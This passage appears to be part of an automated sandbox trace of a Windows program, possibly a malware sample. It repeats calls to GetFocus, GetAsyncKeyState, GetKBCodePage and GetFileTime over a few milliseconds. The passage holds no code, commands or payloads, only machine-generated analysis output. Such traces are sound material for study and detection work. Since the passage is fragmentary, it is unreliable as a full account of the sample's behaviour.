lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.650] GetFocus () returned 0x0 [0032.650] GetAsyncKeyState (vKey=58) returned 0 [0032.650] GetKBCodePage () returned 0x1b5 [0032.650] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.650] GetFocus () returned 0x0 [0032.650] GetAsyncKeyState (vKey=58) returned 0 [0032.650] GetKBCodePage () returned 0x1b5 [0032.650] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.650] GetFocus () returned 0x0 [0032.650] GetAsyncKeyState (vKey=58) returned 0 [0032.650] GetKBCodePage () returned 0x1b5 [0032.650] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.650] GetFocus () returned 0x0 [0032.650] GetAsyncKeyState (vKey=58) returned 0 [0032.650] GetKBCodePage () returned 0x1b5 [0032.650] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.650] GetFocus () returned 0x0 [0032.650] GetAsyncKeyState (vKey=58) returned 0 [0032.650] GetKBCodePage () returned 0x1b5 [0032.650] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.650] GetFocus () returned 0x0 [0032.650] GetAsyncKeyState (vKey=58) returned 0 [0032.650] GetKBCodePage () returned 0x1b5 [0032.650] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.651] GetFocus () returned 0x0 [0032.651] GetAsyncKeyState (vKey=58) returned 0 [0032.651] GetKBCodePage () returned 0x1b5 [0032.651] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.651] GetFocus () returned 0x0 [0032.651] GetAsyncKeyState (vKey=58) returned 0 [0032.651] GetKBCodePage () returned 0x1b5 [0032.651] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.651] GetFocus () returned 0x0 [0032.651] GetAsyncKeyState (vKey=58) returned 0 [0032.651] GetKBCodePage () returned 0x1b5 [0032.651] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.651] GetFocus () returned 0x0 [0032.651] GetAsyncKeyState (vKey=58) returned 0 [0032.651] GetKBCodePage () returned 0x1b5 [0032.651] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.651] GetFocus () returned 0x0 [0032.651] GetAsyncKeyState (vKey=58) returned 0 [0032.651] GetKBCodePage () returned 0x1b5 [0032.651] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.651] GetFocus () returned 0x0 [0032.651] GetAsyncKeyState (vKey=58) returned 0 [0032.651] GetKBCodePage () returned 0x1b5 [0032.651] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.651] GetFocus () returned 0x0 [0032.651] GetAsyncKeyState (vKey=58) returned 0 [0032.651] GetKBCodePage () returned 0x1b5 [0032.651] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.651] GetFocus () returned 0x0 [0032.651] GetAsyncKeyState (vKey=58) returned 0 [0032.651] GetKBCodePage () returned 0x1b5 [0032.651] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.651] GetFocus () returned 0x0 [0032.651] GetAsyncKeyState (vKey=58) returned 0 [0032.651] GetKBCodePage () returned 0x1b5 [0032.651] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.652] GetFocus () returned 0x0 [0032.652] GetAsyncKeyState (vKey=58) returned 0 [0032.652] GetKBCodePage () returned 0x1b5 [0032.652] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.652] GetFocus () returned 0x0 [0032.652] GetAsyncKeyState (vKey=58) returned 0 [0032.652] GetKBCodePage () returned 0x1b5 [0032.652] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.652] GetFocus () returned 0x0 [0032.652] GetAsyncKeyState (vKey=58) returned 0 [0032.652] GetKBCodePage () returned 0x1b5 [0032.652] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.652] GetFocus () returned 0x0 [0032.652] GetAsyncKeyState (vKey=58) returned 0 [0032.652] GetKBCodePage () returned 0x1b5 [0032.652] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.652] GetFocus () returned 0x0 [0032.652] GetAsyncKeyState (vKey=58) returned 0 [0032.652] GetKBCodePage () returned 0x1b5 [0032.652] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.652] GetFocus () returned 0x0 [0032.652] GetAsyncKeyState (vKey=58) returned 0 [0032.652] GetKBCodePage () returned 0x1b5 [0032.652] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.652] GetFocus () returned 0x0 [0032.652] GetAsyncKeyState (vKey=58) returned 0 [0032.652] GetKBCodePage () returned 0x1b5 [0032.652] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.652] GetFocus () returned 0x0 [0032.652] GetAsyncKeyState (vKey=58) returned 0 [0032.652] GetKBCodePage () returned 0x1b5 [0032.652] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.652] GetFocus () returned 0x0 [0032.652] GetAsyncKeyState (vKey=58) returned 0 [0032.652] GetKBCodePage () returned 0x1b5 [0032.652] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.652] GetFocus () returned 0x0 [0032.652] GetAsyncKeyState (vKey=58) returned 0 [0032.653] GetKBCodePage () returned 0x1b5 [0032.653] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.653] GetFocus () returned 0x0 [0032.653] GetAsyncKeyState (vKey=58) returned 0 [0032.653] GetKBCodePage () returned 0x1b5 [0032.653] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.653] GetFocus () returned 0x0 [0032.653] GetAsyncKeyState (vKey=58) returned 0 [0032.653] GetKBCodePage () returned 0x1b5 [0032.653] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.653] GetFocus () returned 0x0 [0032.653] GetAsyncKeyState (vKey=58) returned 0 [0032.653] GetKBCodePage () returned 0x1b5 [0032.653] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.653] GetFocus () returned 0x0 [0032.653] GetAsyncKeyState (vKey=58) returned 0 [0032.653] GetKBCodePage () returned 0x1b5 [0032.653] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.653] GetFocus () returned 0x0 [0032.653] GetAsyncKeyState (vKey=58) returned 0 [0032.653] GetKBCodePage () returned 0x1b5 [0032.653] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.653] GetFocus () returned 0x0 [0032.653] GetAsyncKeyState (vKey=58) returned 0 [0032.653] GetKBCodePage () returned 0x1b5 [0032.653] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.653] GetFocus () returned 0x0 [0032.653] GetAsyncKeyState (vKey=58) returned 0 [0032.653] GetKBCodePage () returned 0x1b5 [0032.653] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.653] GetFocus () returned 0x0 [0032.653] GetAsyncKeyState (vKey=58) returned 0 [0032.653] GetKBCodePage () returned 0x1b5 [0032.653] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.653] GetFocus () returned 0x0 [0032.653] GetAsyncKeyState (vKey=58) returned 0 [0032.653] GetKBCodePage () returned 0x1b5 [0032.653] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.654] GetFocus () returned 0x0 [0032.654] GetAsyncKeyState (vKey=58) returned 0 [0032.654] GetKBCodePage () returned 0x1b5 [0032.654] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.654] GetFocus () returned 0x0 [0032.654] GetAsyncKeyState (vKey=58) returned 0 [0032.654] GetKBCodePage () returned 0x1b5 [0032.654] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.654] GetFocus () returned 0x0 [0032.654] GetAsyncKeyState (vKey=58) returned 0 [0032.654] GetKBCodePage () returned 0x1b5 [0032.654] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.654] GetFocus () returned 0x0 [0032.654] GetAsyncKeyState (vKey=58) returned 0 [0032.654] GetKBCodePage () returned 0x1b5 [0032.654] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.654] GetFocus () returned 0x0 [0032.654] GetAsyncKeyState (vKey=58) returned 0 [0032.654] GetKBCodePage () returned 0x1b5 [0032.654] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.654] GetFocus () returned 0x0 [0032.654] GetAsyncKeyState (vKey=58) returned 0 [0032.654] GetKBCodePage () returned 0x1b5 [0032.654] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.654] GetFocus () returned 0x0 [0032.654] GetAsyncKeyState (vKey=58) returned 0 [0032.654] GetKBCodePage () returned 0x1b5 [0032.654] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.654] GetFocus () returned 0x0 [0032.654] GetAsyncKeyState (vKey=58) returned 0 [0032.654] GetKBCodePage () returned 0x1b5 [0032.654] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.654] GetFocus () returned 0x0 [0032.654] GetAsyncKeyState (vKey=58) returned 0 [0032.654] GetKBCodePage () returned 0x1b5 [0032.654] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.655] GetFocus () returned 0x0 [0032.655] GetAsyncKeyState (vKey=58) returned 0 [0032.655] GetKBCodePage () returned 0x1b5 [0032.655] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.655] GetFocus () returned 0x0 [0032.655] GetAsyncKeyState (vKey=58) returned 0 [0032.655] GetKBCodePage () returned 0x1b5 [0032.655] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.655] GetFocus () returned 0x0 [0032.655] GetAsyncKeyState (vKey=58) returned 0 [0032.655] GetKBCodePage () returned 0x1b5 [0032.655] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.655] GetFocus () returned 0x0 [0032.655] GetAsyncKeyState (vKey=58) returned 0 [0032.655] GetKBCodePage () returned 0x1b5 [0032.655] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.655] GetFocus () returned 0x0 [0032.655] GetAsyncKeyState (vKey=58) returned 0 [0032.655] GetKBCodePage () returned 0x1b5 [0032.655] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.655] GetFocus () returned 0x0 [0032.655] GetAsyncKeyState (vKey=58) returned 0 [0032.655] GetKBCodePage () returned 0x1b5 [0032.655] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.655] GetFocus () returned 0x0 [0032.655] GetAsyncKeyState (vKey=58) returned 0 [0032.655] GetKBCodePage () returned 0x1b5 [0032.655] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.655] GetFocus () returned 0x0 [0032.655] GetAsyncKeyState (vKey=58) returned 0 [0032.655] GetKBCodePage () returned 0x1b5 [0032.655] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.655] GetFocus () returned 0x0 [0032.655] GetAsyncKeyState (vKey=58) returned 0 [0032.655] GetKBCodePage () returned 0x1b5 [0032.655] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0032.655] GetFocus () returned 0x0 [0032.655] GetAsyncKeyState (vKey=58) returned 0 [0032.656] GetKBCodePage () returned 0x1b5 [0032.656] 